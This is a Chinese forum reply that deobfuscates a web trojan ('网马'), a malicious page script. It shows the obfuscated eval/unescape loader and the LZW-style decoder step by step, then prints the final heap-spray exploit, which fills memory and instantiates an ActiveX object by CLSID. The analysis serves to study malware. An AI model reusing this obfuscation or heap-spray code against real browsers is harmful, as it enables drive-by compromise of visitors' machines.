回复:网马解密
首先将两个<script>合并(不知道为什么,不合并alert不出来,郁闷- -!)
然后将原本是下面的代码展开
l1l=document.all;
var naa=true;
ll1=document.layers;
lll=window.sidebar;
naa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));
l11=navigator.userAgent.toLowerCase();
function lI1(l1I){return l11.indexOf(l1I)>0?true:false};
lII=lI1('kht')|lI1('per');
naa|=lII;
O0O0=new Array();
O0O0[0]='<script>\r\nvar hs=20;~~\n~omybro=une~ape(nndx)~~ ~ slacksp~1e=~+dashell.length~+whi~C(~~~~B~D~Fh~za~0~2~4~6)~~O~o+=~]~~+bZ~~~a~g~Qsubst~~E(0,~/~1~3~5ce~*~~=ui~=iMVP~i~P';
O00O='fu';
OO0O='KqRxLRNZmEMNYrlTVyHOeZDwxvCkrBTq';
O00O+='nction __'+'__(_'+'O0){';
O0OO='%76\141r%20%6C%32%3D\167\151n%64%6Fw%2E\157pera%3F%31%3A%30%3Bfun\143tio\156%20l%33%28\154%34%29%7B\154%35%3D%2Fza%2Fg%3Bl%36%3DS\164%72%69%6E%67%2Ef%72omC%68%61%72C\157%64\145%28%30%29%3B\154%34%3D\154%34%2Er\145\160l\141c%65%28%6C%35%2Cl%36%29%3Bv%61%72%20%6C%37%3D\156\145w%20%41r%72\141%79%28%29%2C\154%38%3D%5F%31%3D%6C%34%2E%6Cen%67\164\150%2Cl%39%2C\154I%2Ci\154%3D%31%36%32%35%36%2C%5F%31%3D%30%2C%49%3D%30%2Cl%69%3D%27%27%3B\144%6F%7B\154%39%3Dl%34%2E\143h\141\162\103od%65A%74%28%5F%31%29%3B%6CI%3Dl%34%2E\143\150\141%72%43odeA\164%28%2B%2B%5F%31%29%3Bl%37%5B%49%2B%2B%5D%3DlI%2Bi\154%2D%28\154%39%3C%3C%37%29%7D\167hi\154\145%28%5F%31%2B%2B%3Cl%38%29%3B%76ar%20l%31%3D%6E\145w';
O0O0[0]+='o.~l~n~pi~r~t~b}~C~E~G-~v~X~y~{~+if(\'\\v\'==\'} ){~~J~L~$~~}za~K}P~R}h+}~x~6<0x30}<0~[\n},}}/=}A}.}}4h~}B}G~e~j~+}~memory=~w Array(~|\nf}U(x=~x<};}i++}?}R}T}V[x]}D}I}-}}G~;~=~?l~+~ ~Object=docu}Rnt.~e';
O00O+='eva';
OOOO='IvypSsOZFrPEsJVCCmmROiOeNhCPDyrN';
O00O+='l(unes'+'cape(_O0))}';
eval(O00O);
OO00='cTXtXdOqnOfIxtIOkJuGOOBDhEKTHktusxYahQOO';
O00O='';
O0OO+='%20\101%72\162ay%28%29%2C\154%30%3D%6E%65w%20\101rray%28%29%2CIl%3D%31%32%38%3Bdo%7B\154%30%5BI\154%5D%3D\123\164ri%6Eg%2E%66rom\103\150a\162%43%6F%64%65%28I%6C%29%7Dw%68%69%6Ce%28%2D%2D\111l%29%3B\111\154%3D%31%32%38%3B\154%31%5B%30%5D%3D%6C%69%3Dl%30%5B%6C%37%5B%30%5D%5D%3B%6C%6C%3D\154%37%5B%30%5D%3B%5F%6C%3D%31%3B\166a\162%20l%5F%3Dl%37%2Ele%6E\147\164h%2D%31%3B\167hil\145%28%5F%6C%3C%6C%5F%29%7Bsw\151t%63%68%28%6C%37%5B%5Fl%5D%3C\111%6C%3F%31%3A%30%29%7B\143\141s\145%20%30%20%3A%6C%30%5B%49l%5D%3D%6C%30%5Bll%5D%2B\123\164\162%69%6Eg%28l%30%5B\154%6C%5D%29%2E\163ub%73t%72%28%30%2C%31%29%3Bl%31%5B%5F%6C%5D%3D\154%30%5B\111%6C%5D%3Bi\146%28%6C%32%29%7Bl%69%2B%3D\154%30%5BIl%5D%7D%3B\142%72\145a';
OOO0='l';
O0O0[0]+='ateE~C|t}o|\'+\'|t\'}bDivID.~"~#~\'C~Kld(|||"}b|4||.wid~G}#1\'~+|8|".~>igh| \'|A|Cy||9|~;ta}#./button.g}|B}Q|O|5|:c~0ss|=}#|g|jd:0955AC62-B|\'F2E-4CBA-A2B9{63F7|{72D46CF|b\n</~~~> ';
O0OO+='\153%3B\144ef%61u%6C\164%3Al%31%5B%5Fl%5D%3Dl%30%5B\154%37%5B%5Fl%5D%5D%3B\151f%28l%32%29%7Bli%2B%3Dl%30%5Bl%37%5B%5Fl%5D%5D%7D%3B\154%30%5B\111%6C%5D%3D%6C%30%5B%6Cl%5D%2B%53%74%72i\156%67%28\154%30%5B\154%37%5B%5F\154%5D%5D%29%2E\163u\142s%74%72%28%30%2C%31%29%3B%62r%65%61k%7D%3B%49\154%2B%2B%3B%6Cl%3D\154%37%5B%5Fl%5D%3B%5Fl%2B%2B%7D%3Bi%66%28%21%6C%32%29%7Br\145t\165rn%28\154%31%2E%6Ao%69n%28%27%27%29%29%7D%65%6C\163%65%7B%72et%75%72\156%20%6C\151%7D%7D%3B\166\141\162%20\154\117%3D%27%27%3Bf%6F%72%28i%69%3D%30%3Bii%3C%4F%30\117%30%2E%6Cengt\150%3B%69i%2B%2B%29%7Bl%4F%2B%3Dl%33%28O%30O%30%5B\151%69%5D%29%7D%3Bif%28%6E\141a%29%7B\144%6F\143\165me%6Et%2E\167r%69te%28lO%29%7D%3B';
OO00 ='ptwnQaYHloMlqHDixOOyJWvStVjNjvoKqRxLRNZmEMNYrlTVyHOeZDwx';
____ (O0OO);
OOO0+='KcROdOlFGOOjLoWhSZnwlVQQPUEuEfKsLPSJeLmOXKbWMOgUTGpUmCRvQBFbUSLOOuUouqFIYprDOIiBVkHBoYccagWOWwMMObeOwOGnOOsZOnyXfXJgGFdP';
alert(O00O);替换eval(O00O);
发现是
function ____(_O0)
{
eval(unescape(_O0));
}
于是alert(O0OO);替换____ (O0OO);
获取eacpae过的代码
freshow解密下
var l2=window.opera?1:0;
function l3(l4)
{
l5=/za/g;l6=String.fromCharCode(0);
l4=l4.replace(l5,l6);
var l7=new Array(),l8=_1=l4.length,l9,lI,il=16256,_1=0,I=0,li='';
do
{
l9=l4.charCodeAt(_1);
lI=l4.charCodeAt(++_1);
l7[I++]=lI+il-(l9<<7)
}
while(_1++<l8);
var l1=new Array(),l0=new Array(),Il=128;
do
{
l0[Il]=String.fromCharCode(Il)
}
while(--Il);
Il=128;
l1[0]=li=l0[l7[0]];
ll=l7[0];
_l=1;
var l_=l7.length-1;
while(_l<l_)
{
switch(l7[_l]<Il?1:0)
{
case 0 :
l0[Il]=l0[ll]+String(l0[ll]).substr(0,1);
l1[_l]=l0[Il];
if(l2){li+=l0[Il]};
break;
default:
l1[_l]=l0[l7[_l]];
if(l2){li+=l0[l7[_l]]};
l0[Il]=l0[ll]+String(l0[l7[_l]]).substr(0,1);
break
};
Il++;
ll=l7[_l];
_l++
};
if(!l2){return(l1.join(''))}
else{return li}
};
var lO='';
for(ii=0;ii<O0O0.length;ii++)
{
lO+=l3(O0O0[ii])
};
if(naa){document.write(lO)};
把最后一句document.write(lO)改成alert(lO)
得到最终代码
<script>
var hs=20;
var omybro=unescape(nndx);
var slackspace=hs+dashell.length;
while(omybro.length<slackspace)
omybro+=omybro;
bZmybr=omybro.substring(0,slackspace);
shuishiMVP=omybro.substring(0,omybro.length-slackspace);
if('\v'=='v'){
while(shuishiMVP.length+slackspace<0x30000)
shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;
}
memory=new Array();
for(x=0;x<300;x++)
memory[x]=shuishiMVP+dashell;
var myObject=document.createElement('obj'+'ect');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='./button.gif';
myObject.classid='clsid:0955AC62-B'+'F2E-4CBA-A2B9-A63F7'+'72D46CF';
</script>